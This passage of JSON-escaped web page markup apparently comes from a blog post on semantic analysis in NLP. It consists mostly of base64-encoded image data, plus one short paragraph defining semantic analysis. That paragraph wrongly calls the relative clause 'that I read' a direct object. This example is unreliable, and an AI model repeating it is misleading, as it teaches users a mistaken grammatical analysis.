JJRtsFGkk9fK7vG48kqM9oO\/koPOSXf5qJLJ+K95IwfmV4SQtI+05BEll8ELXH7Xh36\/6jO\/\/AJdL9JEtjz6sZIJLj\/mvhn2m9D4nLdaM5fsWbjJJI6m4je0N8Vox82n7lpdd4\/bNk7YnzGiyQ7prg\/8A1mQ\/9xn\/AErj9m2DH\/1d\/wD9xn\/SuVGGW1cMcIskfs3wf\/q7\/wD+7P8ApRNMlw\/\/2Q==\" width=\"307px\" alt=\"semantic analysis example\"\/><\/p>\n<p><p>As an example, in the sentence The book that I read is good, \u201cbook\u201d is the subject, and \u201cthat I read\u201d is the direct object. Semantic analysis is a type of linguistic analysis that focuses on the meaning of words and phrases. The goal of semantic analysis is to identify the meaning of words and phrases in order to better <a href=\"https:\/\/www.metadialog.com\/blog\/semantic-analysis-in-nlp\/\">understand the text<\/a> as a whole.<\/p>\n<\/p>\n<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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c7jc25Y9tfeDqUQyU7Di1AaJPpr1refpK3m4jDIXTzHZKm73n1wax+OW08ltxnPMt7X+ilkLClf1eQPirRmWa13CZEuE62xX5VvWpcR91pK3I6lDiooURtJI8HXwrU53Th259WbX1KuN4Dsax2p+DbraGddmQ8od2QV78ktjgBoaHx9a+V4WSzj+V39tqsVlt2OWeDYLSz2YdujNxI6N74ttpCUjf6gKoHrO7j8nrTbLF1jvNxtvT1+z84I9pdi2+VdO4eSJLzZGiGhtKVqSn9ZOj9HVGmwYlxYXEuERmTHcGltPNhaFD5FJ8H+2t8uGySJLl1845HjH0KrXaHp6bxjNsVHbKkyrNe1pmpIHgt9lwrWv5DStn4GrM+jxLzKf0lsUnPDNVdFJdAXORxkuRw6sMKdHrzLQQTvyfU+TW2QcAwa2S0zrZhtjiSEHaXmLe0haT8wQnYrPVnjws5bVt2Y1TPemGD9TWIkbNrMbi1BWpxhIkus8FKABO21JJ8Aetah\/7KXQX\/YdX\/FZn\/m1bdK3eHG92JOVnpQHRHE7Dg\/XzqjiuMQ1w7XDg2RxiOZDjoQpbTqlkFxSj5JJ9av1SQr1qIzZrVGuUm8RrZEanTUtpkyUMpS6+lA0gLWBtQSCQNnxU2nDj4zC3yuqeg\/Re6d2qMINqvWZwoqFKUiPGyWWy0kqUVK0lCwBskn+2vS8dI8UwPCMxu9llX1+U\/jlwjrVcLxJmDgWVK8JdWoA7SPIG\/X51bteMqKxNYdiSmG3mH21NOtuJ5JWhQIUkg+CCDoip\/Fxno8q0foN56L4N+z8H\/kpqu\/pVS0Qbl01kuZajGENZKpSrutLakxB7K575Dg4H5aPzq+bfAh2uGzbrdEYixYzYaZYYbCG20AaCUpAAAAA0BXE22wbiEpnwo8lKDySl5pKwD8xseKzy4eXDwJcuvm05pbP\/AI57f\/uVs\/wrL\/RWmNT8i6ny2cxRlSHL7HIu6ENpEz+bJHPTfujR93x48VeP2Zx3\/UFt\/wB1b\/wqVDtsG3ApgQo8ZKjtSWWkoBP5gDzU4\/HZylt\/yt5dYw2fYqc3xefiwv1ys6bg0GnJdvcSh5KN+8kFQOgoApPjeidGojvSzBXcAHTBdhZ+zaYghphbOggeQQr8XPfvc98uXne626lfXwnusqDumPxsU68dJsbhzJ0ti3Y3eo7b86QX33AlDQ2tZ8qP\/rxUj6NyMgc+jXZmsVkwY92UZwiuzmluMJX7a75WlBSojW\/QiruXGZceS+tptS0ApSspHJIPqAa8bTZ7XYoLdssttiwIbRJbYjNJbbTsknSUgAbJJ\/Wa+c+POWtXlsxWP1Z9KD0+2HTj\/gsz\/wA+sXlWFfSTy\/GbtityzXp83EvEJ+BIWxZ5aXEtuoKFFJLxAVpR0SDV3UrX8UzNpOWK46TYx1RxGFGx\/Mr3i82zWy2swLei1wX2Xh2kpQkuKccUFDgn4Aef7qsYelc0rXHj4s26UpStBSlKBSlKBSlKBSlKBXVSdiu1KCI4g\/IVFdQQDWRcRvzUV1AAPig\/JfriOPWbOR\/2iuH7wutHreOuf6aM71\/tFcP3hdaPXn\/k+1c+eilKVhX6+NI8+amNJ9PNeDKTvyKmNJ\/KvRuvezSfzqTyaYR3H3UNoGtqUoAf310ZT+VRMixSz5dalWa9sLdjLcQ6QlZSeST4OxWeVsn\/ABGabCQN7FUnZuteYv5hfsbnRLROasgPbVa2HlquBCD3fZ1OKDbnYd028EklBIBAJFXYmK0lgRgkdsJCeJG\/d1rXn8q+fczxTMrdfHbVaMRzA2a0hpOIt4iLCxAtrYjpbIcRNKXEOBSngdBTfaUkJGypNO1jPSesOatfR2xjq7Eg2eRe7tj0C5u2ztPETJkmOhSIsZCFFXJbqwlIJVoH1OiazGH9U7zkeQY3aVMQ5EO9W2fcPrGG0fZXw0qOGgyorJ2A8oLCkj3k68a85Cw9N3nenWJWa7LttoyHHbXGjsT7JDZcRbXksobdEISW1hDakpU2No3wOvFY2x9Nb9ivUK13H7T3K+W16HdFzFy4FsY7Mp1yMoL5RYzKypzgvkSVA8BvyBUunSTn\/WFOFZpacOLOPsm52qXc\/bb3fhbWU9h1hvtJPZc5rV3+WvGgg+telh6nP3DqLd8MuDto3Fx+1XiExDlB12SuQqX3u0pXHvNpDDfFQQn8Wz6gDK5H09cvOXW\/ObblNxtFyt9sk2pPs7TDqHGX3WHVckuoV7wVHRojXgmsVh+KX+z9Ucput3kSZ8WbZLNHYuLyGkGQ609cFOJ4tBIHEPtD8I2FD1O6dnTRrV17zGTZDfH\/ALNTPrfGLhkMKFAS4qRZFR2EuBmftw9z3l9tSglnS08eJ3yTdVzuNziWZy4Wy1KukxLaVtw2nUNF0kjYCnCEp8bPk\/CvnDID9I6DHzzHrZgN5nt3i43YQJiLfaXm3orq3BGCnnbqy5xDakp95jaR40rXn6KvNjmXrGX7LEvEm0Pyo4YMyKlPeYSdBZb3tKVcdhJ0Qk6OjrVWavSibV9JvKLngNjvsizWO33u6xlyTDMtEjm0NAPJbbdK0N8iU++dkirfzfOJOJuxG2ZWJI7yFKX9d5D9Wq0CACgBh3mPxbPjWh4O6rXPOiE2xY5GsHTmJKk2ph99+LbObSWraFoQC2xvirgpYU4Ukq0pS9EAgCxcitXU+TeDKxK64dGhJbShoXKzSJEhJH4vvG5CBxJ0QOI1+dSb+R36bdQznzV8K2rOlVkuabaXbVdfrCM+TFYfCku9pvzqQElPHwU+vmt0qv8AAMT6hY\/fsiueXZBjs+PkEpE9TVutj8Zbb6Y0eOPecfcBRwjg61vavXXirArU9dpSlKVUKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKjuoOvWpFeaxsH9W6D8juun6ac7\/AGjuP7wutGreuu411szwD\/aO4\/vC60WvP\/J9q5\/H0UpSsK\/YdpI361LaT6fKvFpJqW0nWt16N173aSPgaltp+NeLKd1KSNCg5qKLhbVT1WwSmDMS2HlMBQ7gRvXLXrrfxqVUAWW1pupvaYTftymuwX9e92974\/qol38NW6uZpcsBxCTkdsZQTHcR3XHEx1NsNH1WpL8qMnW9JGnORKkgJVvVavgvVDPL5c8Zs+W4dcLRKuaJsmU6\/b\/Z2S0E846Qnvuqbd7am+4gkgL5p34G9x6p4rccxwK+2SwOMx769b5KbPLddUyYc1TK0NPJdQCtlSSr+kQOSfJHmtBwHp91EtmaW+7X60M2u2xWJDboT1IvOQKfUtISlPYmsNto0RvmFFXjWjs1mz9NMZkHWXP7SxdGzcLCp1my5TcY4RanmyFWdSGVkqVJUPLrzSh7pBSFb4mszfOsks260XOz3+zwoFxs6pUedKtciWifPCuPsrQbcRxWCPwe8tfMBAPFVSMx+j1jlxxy9rskq6i+yLNeYMB2Vdn1NNuXAJW+Fp2QUOPNtKVsH8Pga2D5daOnOc5hhGN2LDnrf7RbpTSpyJE9MULbTHcRptxUSUAoOFB8tbIBGxUmmRtfT3LL9k71zGQ2r6tkRmbe4YShtcZx6G2640pX9YpcUtO9fCtex\/qJmt7ul0Ut63MW+HNu8RtkWKeFlMR59pKva1H2clXaSo6GvJSPNdPo+9Pcx6fWy8w8vajpdny0SmizehPGg2lBGkwYiWx7gOglRJJJI8CttPTm1Qo036qn3ZoyHZcsRzcnjH7763HXCUbI4lxxZ15Hn0qzaVptx6zIZwnDcpcyjH7Jbr4xyuN\/vDKhBivJaB7RBdaCFLc5BJUsJ9xQ8kpB6WbrNe04xcswyazhuNacUfv7rMdCmzIDL0hIda5naUPNMJdQlXkBwbJ81l8wwvLrh0jteJY4+0m729FrDqU3qTa0PNsONF9oS46FPNBaELTtKDveiNE1i+m\/TfK491v328sUSLaLrbG7cYAza55Gl7anO4VGcy32gUrCdI3v1Ovi7JWAyvrhneIPTcTvUW0\/aGPbVXgSYkV8xPZ3LZcn229qUQHESbfxJUr7xBBCEkkJsbqjmV4w1mxyITkSFb5txMe6XaZGckMW5gMOrStaEKSRzcQ22FFQSkrG9+AdYzjoSxKx9cDEHeU15MhD8m6zHHnFt\/VM2FGaDigo8UKlpOj8C4okqUeW2dZMZyfLunV0x7Dnobd1lqjhsy3e22W0vtqdTzLT3EltK0pUWlgKIJSR4qSUYPE+oeSXW52Ji7pZTGnWe\/T3HW4q2RJTEnRmYshCFqKkIdYdLoSSfDifJA2dFznr9nuHdPJuTXS32xuZesJueT2AQY0h8QH47Ta0sSh7wdGpDRLwDaNoWkge6oy+hXR7qFg+Yyb7mbEURXrY7CAZyFE0Fa3Wle8yi1xAf6M++Vq1sgJ94kbDnvQSyTOmuU4viCHfrS5YpcMZsxuE511mAw+1oMNct9trklvegTptA3xSkB2flvsPIZUnNbli62kJYhWmBcEOAnkVyHpTZSfyAjJI\/wDmP5Vr7fUKTMndRMftUuHLv2Lr3Btw\/pClVujPtcwDshTzqxvY8ED86zN86dY9kF0F+mvXmLPMVuI47br1LhdxptS1ISoMOICtKdcIJG\/eNYKR08kP4\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\/nAgLdSuXJckOhDxj8wAt1QQSeQAT5JFW4\/abXJmR7jIt8d2XEQ4iO+tsFxpKwAsJUfKQrinevXQqSVdUZ0vyfIL11muMS43e6yYjUSd2W5chlaHAmJYlJdSiOtTACi86scCB98rwORrKZRd+oVrgrnxGOocVXtsdtHthsC4w7khtGlBtSnSghWvdBV5+dbZbuj2M2bLJWRWpLkWPNiyYbtvZSlphtt5mCzpnthJbARb2\/AO9rWQR4AkSOjfT6W32ZVsuDzfNLnFd5mqHJKgpJ0XfUKAIPwIFJL6XW5p+Fd68YcRiBEYhRkqDMdtLTYUtSyEpGhtSiSToepJJ+Ne1bZKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQKUpQK6H+Fd66H+FSj8j+vH6bc9\/aS4\/vC60St768fptz39pLj+8LrRK6Dn9q589FKUrCv2XbHxqYyPAqM2PyqYyPTxXo3XvZI0K7UpQKUrT5\/WTpFa5r9uufVPEYcuK6ph9iRe4zbjTiTpSFJUsFKgQQQfINTRuFKx11yKwWJluRe73At7Tx4trlyEMpWdb0CojfjzXEPJceuKo6LdfIEoy0uqjhiQhzuhsgOFPEnfEqSDr02N+tOhkqV5OSY7Wu68hG\/TkdbrwYvFqlXB+1RrjHdmxWmn346HAXGm3CsNrUn1CVFtfEnweCtehq6JlKwMXPMImuXVmFmFlkOWNKl3RDU5paoISCVF4BW29AEnlrWqzaXW1gKSsEH0I8g1B3pWHdzDE2bczeHcmtaYMlJWzJ9rb7TqR6lKt6UPzFZNUlhGubyE79OR1umwetK6IdacHJtxKh+R3WFmZ5g9uuv1FcMyscW5c22\/Y3rg0h\/kvRQntlXLauSdDXnY1606GdpUaHcoFwZXIgTGZDTbrrCltLCkpcbWpDiCR\/WStKkkfApIPpXhHyGwy5i7fFvUF6W0VJWw3ISpxJSdKBSDsEHwfFOhkKVEiXW2T4Ee6Qp8d+HKbS8w+24FNuoUNpUlQ8EEeQR6iuqr1aETmLWq5xhMktOPssF0dxxtsoDi0p9SElxsEj05p361dE2lY4ZFYDd1WAXqCbolrvqhd9PfDf+n298uP561UiBcbfdYiZ9smsS4yypKXmVhaFFKilQBHg6UCP1g00SaVAuN\/slot0u73S7RIkKCwuTKkPOpS2y0gFSlrUfCUgAkk+K6XrI8fxq2uXrI75AtVva13Jc2QhhlGzoclrISNkjWzTRkqVjYmR4\/PXDbg3qDJVcYy5kMMvpX7QwkoCnW9H30AuN7UNj30\/OvO65dilifTGvmS2q3PLTzS3LmNsqUnetgKIJGwRv8jQZalY+Hf7HcXzGt93iSXRGamcGXkrPYdKw27oH8Ci25pXoeCtehqYH2SgOBwFJ1pQ9Dv0oPSlcA7GxXNApSlApSlApSlApSlApSlApSlApSlArof4V3rof4VKPyP68fptz39pLj+8LrRK3vrx+m3Pf2kuP7wutEroOf2rnz0UpSsK\/ZxsVMaGtVFZHmpjfpXo3XvSsHl11yC02ZyZjVkTdpqXEJEcuhv3SfeVv8hWcpWeUtmSiKuRKERTrcZK5AbJS0V6BXrwkq86G\/G9V8dSZOe2DI7w9jGXZDbcdVc7vPvCIMePPiwpzsouuhM1VjdQhttapAWHHFcSACpPBW\/s+tAuXRDBLnIuDrrN3Yj3V9cmdb4l8nRoMlxZKnCuM26lo9xRJcHHThUeYVs0stWXGD6o2e+Zl0zasWQwkQIN0aVFvz0FLtymsRV+4REQywS444CElYSkNpUpQCuIrXenrrUjqLjgly7mu5xLTdmnEyLRdbdHlN9yGEvNMSmktNLISC4htR0VAjYJ1dV2vljxa2G4X25w7ZBY4oU\/JdSy0gk6SOSiAPOgKxUe54TktyseUWy7wp762pka1yY0kONuoUpHfCSglKtFlIPyKSPHmmGqu6v2B649Y8ZuUyzRJVsYxm6sLkT8Tk32M0+uVBKEdtlSe24UocIUT+FKhr5TMDakTus2Tm0vR4tpTidgjOxhaH4TwKXbkhJZStaTHSniSEqQokcdHwCbCd6p9NG0XBP2\/x9a7VHfkzm2rky45HZZSVPLWhKioBCUkq8eNeajXS7dN8Nv7+X3vIbZaZ9\/hMR1OzJqWg9HjFxSClKyAAkyV7UB\/XGz6Uw187G6dP7Tidzs146mWGKrp\/Yr5iEKOmJ7LNkrS17OpyT96oL8sBQSkALUQvxoJH0jmD1oawWc7f7fLuEBMVJXGgocU9IVscENBvSypS+IAGvJHoN61C5dIOkNxXkjj91v7DDrz8y9R4+Y3SHCCpCS68pxluShlKVpWVK90JIJ3W9xM4wt2DbZUHJ7bJiXRIMB5iUh1ElPebY22pJIUO6+ygkeinEg+tSLr5JZxG94J04suK3i2otUm0+0RrjH9mkKS9I4oWl9mU64UOMltSfdQhPFaVhR2CDeXV27dOZN8i2rKsz6RQJUFnao2XRmJcprueQUIckNFCFBI+HnjW59SYHT2bBhp6gyYjDC3VMRVPyywVOKTyKUaIKlFKCdDfhJPpuslBueIZA60uDJttyXIiInNONcHQ5HWSEOJV5BSSCAQfhVnHD2q\/wCjxfcIN1zzHcWyzCbi8m\/NzG4+MpZjxzH+rICS6iOh1whPc5JK+RBUD8fFal1+kWnA3L5cslyB2Nar9k1ivDymcJmTXWCy5AaDSZyHgyN+x8iCnmlK1aSo8Qq9Lfl3T56LcbpZb5ZHmLUssXB2E+057KsHyh3tklKh\/onzXV3DsMu2RS8glQI9yubKPYnfaHlyExUqR7yEtLUUMlba9q4pSVpUOXIaqZ1iax\/SVKkYxLUqNLZEm+3eahEqC\/FcCJE555G230IWPcdSD41sHRPrVYWXCMtv2cXyQ7md4autovk9gyba9aAm0tSFFyOUtrgqWtz2J5naXlLG1k+Toi28biYXh1jfNhmJiWn29xlQcmOLYjyA92FMNBxRSykOp4BpHFAV6J8+cdd+ieB3vILlk8lOQRLjd3G3Zrlrye529EhbbSGkrU3HkIQVBttCd8d6SKfjEV5Mxq5o6OdHLRdrP3l2pUIXJq5Y+9dEM8bNKbJkRGuKj94pCfgErKTrxqpFqivp6pYFExdNptyYtmyH2xKMWkW1hxn2q1qWlqM44lSFHkj73a08grwT4FmryPp905jw8evGa222BpkBhu8XsKkLb2QFFyQ4XHPII5KUTsetc3SZgqLqc6ud1iMPY2w7bHJbsjg1GRK9mdUhZJ47VxjEb+Y1+KrkWXFMzoTmOZxIxT6veukSDkAy9+423HpUq5tuPvrfRGLiAWwCOTXc5b7A7XAb51anRtSH+lkF1hS1h5y4OJCmltrBVLePFSFgKSoE6II2CDWHutg6Q5pfmsg+1l1buF5lCypVZsruEASJLDLj3ZW3FfQnuIaQ6r3k8gkHfwrc7NHxTp7arPiMOR7Ew88qHb2ZMpbzsh4pcfUkOOqUt1ZSh1ZJJUQlR+BpmFj5fes8WwfRfyKFcLFAg3ZXTWXFk9nBJlumNvC3bcS\/NWS2s7SoK2Ec16IPoDcfVaTIxjC7BneUX61Jl4zc4y1PKti\/YFqlq9hQVMl\/k2E+1pPc7hKeKyAQSmt1yBzBuoVhyDCrncY0y3yYD8O7tNyOPbjuKejuBS0n3TyZfQTsFJbV8qxt7unSHqfavsHNy+z3Nuc4w63FgXwNSVOMOpfaU2phxLqVJW0lYKSD7tTEVn0odw2P1Mx+0Y3nNqv80WnKbrNRbkhLLS5txgPrShAUrttpUrikEknWyd7rP9ebUu5P2ZFzvDVngszWJFtMKAq4XG63RruPNRPZw2eUdPbLywlXJYQdlpKFKVuuM9JMSxW+oya3P5DLuTUV6E09dskuNy7TLq21uJQmU84lPJTLZJAB9weazGWYZYM2t7dtyGIt1Ed9MqM8xIcjyIr6QQHWX2lJcaXxUpPJCgeKlJOwog3LZ2uqt6RSGTnuSXa4e1Wua5jlmanW+4GWhbDjci4FS2hJAIjHugIKCU7CgdFPmt8bx\/NoUC09LpOZTVP2aPa5slJyGCq2ezoleUpT7L3iNR1Hh3ArynavO6+isf6YYjjguHssGROcuyUNzpF3nyLk++2jfFpTklbiu2nkrTewkFaiBsncs9O8BPrg+Pf8MZ\/6amYaz7S0ONIcbWlaFpCkqSdgg+hBFd6848diIw3FistsssoDbbbaQlKEgaCQB4AA8ar0rUQpSlUKUpQKUpQKUpQKUpQKUpQKUpQK6H+Fd66H+FSj8j+vH6bc9\/aS4\/vC60St768fptz39pLj+8LrRK6Dn9q589FKUrCv2fZ9amN+lRGvhUtv8Nejde70pSgViEuZJ9o1oW1E+pfZQULBPe7\/AC9D8OOqy9dd+dH4USzWg9bjJY6d3S6NXmTbGLVwuUx6PLfirVFZIW6gOsfeJKkpI90Hfp8a1\/FOndwx7IsbnR1vKYtqriHmvrx+a0kyCp0uqL+lqdW66vagCdHXoKsPLbjiEO1uQs2mWhm23JKobjd0caSxJCknk0oOe6vaeW0+djfjW6xeM9KulOOXBq\/Yp04xO1zUIPZnW6zxmHQhY8hLjaAdEfI+QazZta\/CkJuJ5Vh\/QXOYeQWvI21jGskDiHEWow2Q43JWlaXGv5yRxI9VKO1eR8tkzO2ZhZIGKuWi9SbpfcjgKx2Tws0V8Pxu07J5JS7JjtsqQhKxy5LSraeTatAi8bpCgXG2SrbdY7MiFLZVHkMvJCm3W1jipCgfBBBI18d1hLzieCZ7ANjybHrDf41rkhJhzYjMpuK8GwUjgsKCF9txJHoeKwfRVTxNioI2JTrnheT4rj2M3iM\/abhjqDaLm\/GU9IhwUw1qZ7rTy2195hlaCVqSCV6UAN1grjj9+tvUtGQXNmVboeR3xFwgWiR2v5o0LvjbSnNIBKVvOtrdKSsgcwdJUV19D4rhGH4NEdt+GYtZ7FFfdLzrFsgtRW1r0ByUlsAFWgBs+fFeOVTcItZi3PMpllhhDgTGfuTzTWlJWh0JQpwjzzabXofFtJ\/qgiePRutN+kBMlY1jUTPrPNfjXeyyExoYbhuSw\/7W42yWiy2244oqUUFJbTyBSPISVbrjpG1d8qt2U49YbJkONyk4y9Ci3G5wZkcLmyn5TynwX40f3g68V8W0kJBAHHwKvydAw\/qRjhiT4lmyOxzdK4PNtTYj\/BewdHaFcVJ\/sKfyqNivTDpzg0t2fhuCY9YpL7fadet1sZjLcRvfEqbSCRsb0a1nZuKTynE8iXjKrnHsE\/DIdhxJm1TWAIZTcFpdbIj7TzJaZCHOKxw33zxPlQq0YT2TYzlGWLGA3q6RbxdWZsWVBkQQ2WxAisEEPSG1ghbK\/wCr6arc7q1bZbItt1THcZmkshh7iQ8eJUUAH8R4pUdfIE\/Dxxf75aMbtMi9366RbdAigKekyXUttoBOhtSiB5JAA+JIHxqeOGqYlR7yz0wvybrNgzLbMzC4JaDinIS4QN8dDWnG0OlxQfLZ2UpAG9+nna8Rt\/UOFeUOXC8wLjFUkpeQq\/qkqQjxtaECIjah8NqA81uP2fxe+WBdsftFtn2a5BT7kVyM27GkdxZcUpSCClXJSuR2PJO6i4\/006e4lNVcsUwXHbLMW2WlSLdamI7ikEglJUhIJGwPG9eKYNMzDFsmk9SZmQQol+MF6xwIiHbWza3At1qRMWtCxN2pOkvNnadA8j52NDAZLZXrnauqt8u1wmsRbXdoN+iw22We7FmQLbbpbair3kr+8aQFIO06B0fO6vVX4CPyrCvN4wVu22QLYpy+rdLsdXAGctLaUObSf6TTaEpUPPupAPilmmqHgXu3y836etTVZS\/ebpmT90lS5+KSrTFU4mwTY4Q33kJSkBptOk81rJBO9b47H126eSs8ybGZ1twGJdXMVdN3lSpEKM4uS0pp6MIbKn\/dU4EyHpASv7sLZaCtdwEWDY+j3SfGLoze8Z6ZYpaLjH5dmXBs0dh5vkCk8VoQFDYJB0fIOqzF1yfHLC+Yl4vkCCtMZcxXtMhLYSylaUFxRUQAnm4gbOvKgKZ12u6o3plL+z5z9yddZYcYjuNKm\/VpmPc1X++oDhjMI987IJSlPH19APGNkZBaGsmw+4OZLf7miBexIkoY6eSobbbYiyAFlSYvP8ZQn8Wvf87FXQnLek2OvJuCcmxW3OXRoPJd9ujtKkt9xxXMHY5juOPnfn3lr+JJqdH6k9PpshyJEznH3nmW1uuNt3RhSkJQCpZICtgJAJJ+AB3UxK2Nsgp2PT4V3rWbzntisuL3rKkOifGsXfTLbjutpWHWvxtbcUlIVvx7ygPI8+a1TA+vMTPMmbxlvp1ltncdjOyRKuLcT2dIbKQUKUy+4pKjy93adHirz4reyJi0aVq+T9RMfxSY1bp7c+TMciPT\/ZoMNyU6mKyUhx4obBPEFaQANqUdhIUQRUeb1Sxa3Rb5c5j7iLbYLGxkMmalPcbVDdD6gpATtStJjLPgedjW6dLjcKVolj6qi6Xu32S74LkGPrvIWbY\/cHYLjcvg2XFBPs0h1STwSpXvpSPGt78V0\/lrwj7WfZDuXL2oHtl76rk9jvd3t9rn29b353+HXxpLDG\/UrRLT1hxm64PiObiNNbRmrEZ20wA13JbqnmC+G+CNjaW0rUo74gIUSa4xjrRg+Z5PGxTGbimdMet8q4PoSoJchezvtMrZkNK04y7zd1wWkEFCgdU2GN8pVe9Q+teN9NZlth362XYm6XKPbGXG4iy0XHRsFK9aVr4gHfr8q2R3LozNoavK7Nei28vgGUW51b6TtQ2poJ5JHu+pGtFJ+NNhjPUrVMc6kWHK34DVmblqRcGri4hbzCmShUKUiM8hSFgKCu6sgeNEJJ3ojesr+kDjMJ+8sX+w3SxfUI1NcuUmA0ht0x++214kqUVuN+UgA7+OtHTYi0aVp946lW61y7Zaotlul1ud1hquDMGA2hTqIyS2FurK1JQlIU6ga5clE+6FaOpWMdQLHl81cWyFx1kWm33lqQU8UOsTC+GtA+8CPZ1Egga5D89NhjZqVXDPXLHBld1xO8Wa5WV2yNsuz5lxfhNRWEPdzsErD5Vtzsr4jjv03re6n2vrDhkzGsNye4zfqljOY7T1sTMIT7y4ipXBxY2hBDaFeSdbAAJJALYuN4pWHsuW47kU6Zb7Hdos52Alpcgx3A4hHc5cRyHuk+6fAPj4+orMVUKUpQK6H+Fd66H+FSj8j+vH6bc9\/aS4\/vC60St768fptz39pLj+8LrRK6Dn9q589FKUrCv2hZqWj0qI1Upv0r0br3elKUCsSLTcE5Cq8m8yFRVRgyIJA7QXvfc38\/hWWpRLxl9qi644dl+W5D09+yUpcBy3Xe4PP3IMNvohJXaJrKHHG1+FpLjraCPX3\/h61p+MI6k4njeO4vbsPyeDG+pMTt7MZt9DjdtcjT3E3IOvFYAHs\/bJWB94gAJBI4j6KU2knn8ajCTCMwwRIb9q4d4tc\/f4+nLXrr4br58rON7vtrXzDcME6vT7RGj3x3L7hGuFquku8x13d4kS2LzEXBS0EuDtqMT2kJS2UhYA5bUEkbbkGOdS75kL0SHcMrh48ZU1ccx7m9Hd7QssJMYKWFh3xLD50pWy4Fc9gq3ZWadQWsPulqszOL3q+zrs3Jfaj2tLBWhmOG+6tQddb3ruo91JUo70Emplu6g4Vd7PHv0XI4JhSUIWhxx0NkcoglgKSrRSr2ch7iQCEeToVcNfPirJ9IuMiBETdsgFtlQcamXt6W5IlvJlrjXEXJLSY77T6Uh9NtKmmFoSkb4JKStJsnM8Wy+7fRiu+IuSpuRZJJxp6Gl5+P7PJmPlshPJClK4rPjYKid+T53W0o6xdK121u7o6h46qG7JXDbkJuDXbU+lKVKQFb1sJW2o\/ILSfRQrrdetPSaxXJ+0XnqTjMGdFWpt+PIuTLbiFpPvJKVK2CPUg+g8nxVyGqq6oXTO7RmGV49acovTFvj47KzkSWpHERC3AeiJgDzyS2p9DcpI9CpDo9AaxEeP1gulrgycfk5tBsMpdncnu3dcqZKU6YMwzFtpjym5HZLyoAIZcCeaVlCS3y3eY6g4N7XFtt1vdqh3C8yJNviQ5UpgvzDHkKYWEJSpXMc9+PUFwJUAolIxyurtjiZZIxaXYLxDixrozYUXlxDHsCp7jLTrcccXS6gqDzYSVtpQVKCQrZG54z9r+HAsuQrt\/S1E6RKuky0TWnbrNeZ7Li9WmW0t5xsqUUFTriQU8laK9bPrVQXTpn1Ou2JY\/AvMzLrk7OZsE69Myby8S1NYvEZx1SOLg7XGOp4kI0NNIV+NIVV1t9XunLcFudd8xs1r3bo90eal3BgGOw\/w7anFJWUAEutpCgopJUkgkEGvdPVLpymFarirObGIt6eWxb3zMb4S3EOhpaWzvyoOqS2R6hagn8Rq5qelL5dbOtj0O9MYi7mca+FV9RLkLmrMVbBk\/wCTvYkrWptLnb7ZBQAQlDodJURyzN6wLqKjKpYtm